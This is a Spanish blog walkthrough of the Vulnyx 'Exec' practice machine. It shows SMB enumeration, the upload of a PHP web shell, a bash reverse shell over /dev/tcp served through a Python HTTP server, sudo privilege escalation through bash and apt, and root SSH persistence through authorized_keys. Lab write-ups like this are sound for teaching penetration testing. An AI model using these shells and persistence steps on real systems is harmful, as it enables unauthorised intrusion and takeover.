Post

Vulnyx - Exec

Máquina Linux de nivel Low de Vulnyx.

Técnicas usadas: File Upload, Binary Abusing

Fase de Reconocimiento 🧣

Como primer punto, identificamos la dirección IP de la Máquina Vulnyx

1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups

<SNIP>
192.168.100.63	08:00:27:c6:4f:1d	PCS Systemtechnik GmbH

Con esto identificamos todos los dispositivos en nuestra red local.

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n 192.168.100.63 -oG puertos

b. Vemos la versiones de los servicios que se están ejecutando

  • nmap -p22,80,139,445 -sCV <IP> -oN versiones

c. En el puerto 80 no hay algo interesante (Solo la página por defecto), por lo que, investigamos todo sobre el servicio SMB (Puerto 445)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Primero listamos los directorios disponibles
❯ smbclient -L \\192.168.100.63

Password for [WORKGROUP\root]: <ENTER>

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        server          Disk      Developer Directory
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories


# Vemos que el directorio "server" puede ser accedido, por lo que, nos conectamos y listamos los recursos disponibles

❯ smbclient \\\\192.168.100.63\\server

Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 25 17:20:01 2024
  ..                                  D        0  Mon Apr 15 10:04:12 2024
  index.html                          N    10701  Mon Apr 15 10:04:31 2024
  • Si nos decargamos el archivo index.html con el comando get index.html nos daremos cuenta que es el archivo por defecto del puerto 80. Intuimos entonces que probablemente los archivos de este directorio se ven reflejados en el servicio HTTP. Intentaremos subir un archivo .php para ejecutar comandos.
1
2
3
4
5
cat secret.php

<?php
	system($_GET['cmd']);
?>

La función system nos permite ejecutar comandos en el sistema. Con $_GET['cmd'] lo que hacemos es indicar que el comando que se va a ejecutar lo indicaremos desde la URL. Ej. http://192.168.100.63/secret.php?cmd=[COMANDO]

  • Por último, subimos el archivo secret.php al servicio SMB con put secret.php

d. Ahora con cURL podemos ejecutar comando en la máquina víctima

1
2
❯ curl -s -X GET "http://192.168.100.63/secret.php?cmd=hostname"
exec
  • Ahora nos entablamos un reverse shell 👨‍💻
1
2
3
4
5
6
7
8
9
10
11
12
cat index.html

#!/bin/bash

bash -i >& /dev/tcp/192.168.100.55/4444 0>&1
---------------------------------------------

❯ python -m http.server 80

---------------------------------------------

❯ nc -lvnp 4444

Con esto lo que hacemos es servir el archivo index.html, para que al ser requerido por la máquina víctima se ejecute el código .sh

  • Hacemos que la máquina víctima solicite el archivo

Escalada de Privilegios 💹

  1. Hacemos el tratamiento de la TTY para trabajar de manera más cómoda con la reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@exec:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@exec:/var/www/html$ ^Z
[1]  + 25443 suspended  nc -lvnp 4444
❯ stty raw -echo;fg
[1]  + 25443 continued  nc -lvnp 4444
                                     reset xterm


www-data@exec:/var/www/html$ export TERM=xterm-256color
www-data@exec:/var/www/html$ source /etc/skel/.bashrc 
www-data@exec:/var/www/html$
  1. Miramos los permisos a nivel de sudoers de este usuario
1
2
3
4
www-data@exec:/var/www/html$ sudo -l

User www-data may run the following commands on exec:
    (s3cur4) NOPASSWD: /usr/bin/bash
  • Vemos que podemos ejecutar una bash como el usuario s3cur4
1
2
3
www-data@exec:/var/www/html$ sudo -u s3cur4 /usr/bin/bash
s3cur4@exec:/var/www/html$ whoami
s3cur4
  1. Ahora vemos los permisos del usuario s3cur4
1
2
3
4
s3cur4@exec:/var/www/html$ sudo -l

User s3cur4 may run the following commands on exec:
    (root) NOPASSWD: /usr/bin/apt
  • Vemos en GTFOBins una forma de escalar privilegio ejecutando apt
1
2
3
4
5
s3cur4@exec:/var/www/html$ sudo -u root /usr/bin/apt changelog apt
Get:1 https://metadata.ftp-master.debian.org apt 2.6.1 Changelog [505 kB]
Fetched 505 kB in 2s (241 kB/s)
# Después de ejecutar el comando, se abrirá una pantalla en la cual debemos escribir !/bin/bash
root@exec:/var/www/html# 

Extras 🌟

  1. Podemos autenticarnos mediante SSH directamente a la máquina víctima:
  • Primero, habilitamos el permiso para que root pueda autenticarse a través de SSH. Quitamos el # y colocamos un yes
1
2
3
4
5
root@exec:~# cat /etc/ssh/sshd_config

...
PermitRootLogin yes
...
  • Ahora, generamos un par de claves RSA en nuestra máquina host
1
2
3
4
❯ ssh-keygen

# Asignamos el permiso 600 a la clave id_rsa privadachmod 600 id_rsa
  • Copiamos el contenido de la clave id_rsa pública y lo ponemos en un archivo authorized_keys en el directorio /root/.ssh
1
root@exec:~/.ssh# echo -n 'ssh-ed25519 ... root@kali' > authorized_keys
  • Finalmente, nos podemos autenticar directamente por ssh como el usuario root
1
2
❯ ssh root@192.168.100.63 -i id_rsa
root@exec:~#
This post is licensed under CC BY 4.0 by the author.